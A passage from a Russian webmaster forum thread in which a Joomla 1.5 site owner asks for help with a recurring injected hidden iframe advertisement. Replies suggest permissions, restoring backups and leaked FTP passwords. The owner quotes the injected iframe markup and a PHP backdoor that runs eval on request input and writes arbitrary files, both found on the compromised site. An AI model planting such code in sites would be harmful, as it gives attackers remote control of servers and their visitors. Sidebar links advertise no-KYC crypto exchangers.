Взвлом и прописывание вредоносного кода
Страницы: 1 2 След.
Взвлом и прописывание вредоносного кода, Постоянно вписываю вредоносный код рекламы
Здравствуйте. Сайт на Joomla 1.5. В файл index.php работающего шаблона посноянно прописывается вредоносная реклама, за что яндекс дает санкции. При удаленни данного кода все возвращается на место, при этом дата изменения файла не изменяется, как будто ничего не происходило. Код следующий
[/URL] <style>.sdfsd{margin:-100%;position:absolute;width:600px;height:240px;}</style><div class="sdfsd"><iframe src="_http://avanturist.info/language/english/mails/go.php_"></iframe></div>
От хостра нет толку. Проблема уже целый месяц. Данный код вписывается только на двух сайтах, где нормальная посещаемость. Что можно попробовать?
а хер знает smile:wall:
шаблоны/права доступа к папкам?
может быть саму джумлу где-то подпортить успели. 

Сравните модули с другими сайтами. 
Изменено: Ваше Величество - 29 Января 2013 17:04
Если есть "чистые" бэкапы попробуйте восстановить...
Хочешь зарабатывать много? Отличные тексты для Вашего сайта Регистрация
В том то и дело, что в чистый бэкап прописывается, права доступа на шаблоны ограничивал. Может какой код нужно искать определенный, через тотал?
wilo, на шаблон, на папки с файлами движка. по возможности все что есть - 755
Цитата
Ваше Величество пишет:
wilo, на шаблон, на папки с файлами движка. по возможности все что есть - 755
насоветуете сейчас smile:) index.php  всегда 644
Согласен Сергей Макаренко. На index.php ставил 444 и все равно прописывалось. Даже дата изменения файла не менялась при данной записи. Что можно через тотал командер поискать, какие коды?
Цитата
wilo пишет:
Согласен Сергей Макаренко. На index.php ставил 444 и все равно прописывалось. Даже дата изменения файла не менялась при данной записи. Что можно через тотал командер поискать, какие коды?
вопрос в лоб, у вас в тотале сохранены пароли к фтп ? если да, то поздравляю, у вас слили все пароли, меняйте пароли на почте, продуйте всю систему антивирусником, и смените пароли везде где возможно, и никогда не сохраняйте пароли в тотал-командер.
wilo, Рекомендую обратиться http://www.cy-pr.com/forum/f80/t42141/
Хостинг Beget на СУПРе
в тотале не работаю как фтп, он только для поиска текста в файлах для поиска определенного кода. пароли менял уже не помогает. Возможно прописан где то код eval_base кажись такая орфография.
Пишите в личку, могу посмотреть и помочь с данным вопросом.
Цитата
wilo пишет:
Здравствуйте. Сайт на Joomla 1.5. В файл index.php работающего шаблона посноянно прописывается вредоносная реклама, за что яндекс дает санкции. При удаленни данного кода все возвращается на место, при этом дата изменения файла не изменяется, как будто ничего не происходило. Код следующий
[/URL] <style>.sdfsd{margin:-100%;position:absolute;width:600px;height:240px;}</style><div class="sdfsd"><iframe src="_avanturist.info/language/english/mails/go.php_"></iframe></div>
От хостра нет толку. Проблема уже целый месяц. Данный код вписывается только на двух сайтах, где нормальная посещаемость. Что можно попробовать?

А соседние файлы на содержимое не смотрел? smile;) Например, COPYRIGHT? smile:))
На форуме есть тема, где предлагают провести проверку на уязвимость, за ссылку.
Добрый день Всем. Спс за помощь. Просматриваю все файлы, т.к. сказать. Есть одно подозрение. Что это за код?
<?php    $bshd = "94784b2bd4d50c884a0b44d06b6aa4d6"; if(isset($_REQUEST['ndwv'])) { $rzgcvo = $_REQUEST['ndwv']; eval($rzgcvo); exit(0); } if(isset($_REQUEST['upxpasw'])) { $zqstfam = $_REQUEST['pyydcuyr']; $yxoulg = $_REQUEST['upxpasw']; $bedcxz = fopen($yxoulg, 'w'); $wqoqwpcu = fwrite($bedcxz, $zqstfam); fclose($bedcxz); echo $wqoqwpcu; exit(); }
?>

Присутствует в отдельных файлах index.php в местах где их не должно быть, в оригинальных установочных архивах.
Изменено: wilo - 31 Января 2013 18:31
Страницы: 1 2 След.
Читают тему (гостей: 2, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
18:44 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 
13:43 Стоит ли добавлять сайт в Rambler топ 100? 
13:12 Покупные ссылки 
12:57 Rotapost прикрыли! Чем пользоваться? 
15:12 Ночной бар в Паттайе: как случайная встреча с "тайкой" и её кадыком перевернула мой взгляд на продвижение сайта в Google 2026 
15:01 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
07:24 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг 
14:47 CryptoMonitor.info - ваш надеждный обменник BTC USDT XMR (без KYC) 
12:40 Mixmasters - Exchange without AML and KYC 
11:11 CryptoGraph — Анонимный обмен криптовалют без KYC и AML 
10:44 PonyBit.ru - обменный пункт PonyBit.ru (Понибит.ру) 
10:16 SellBuycoin.io - надежный проводник в мир обмена криптовалют на фиат и наличные по РФ! 
09:23 garantcoin.io - быстрый и надёжный сервис обмена криптовалюты GarantCoin 
04:11 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
22:59 Про мясо 
15:07 Добро пожаловать в цифровой мир... 
22:12 BYTIK.shop – сервис по продвижению в популярных социальных сетях​ 
10:10 накрутка трафика в SimilarWeb 
16:50 Компьютерная мышь 
22:11 С юмором по жизни! 
23:03 Точные прогнозы на футбол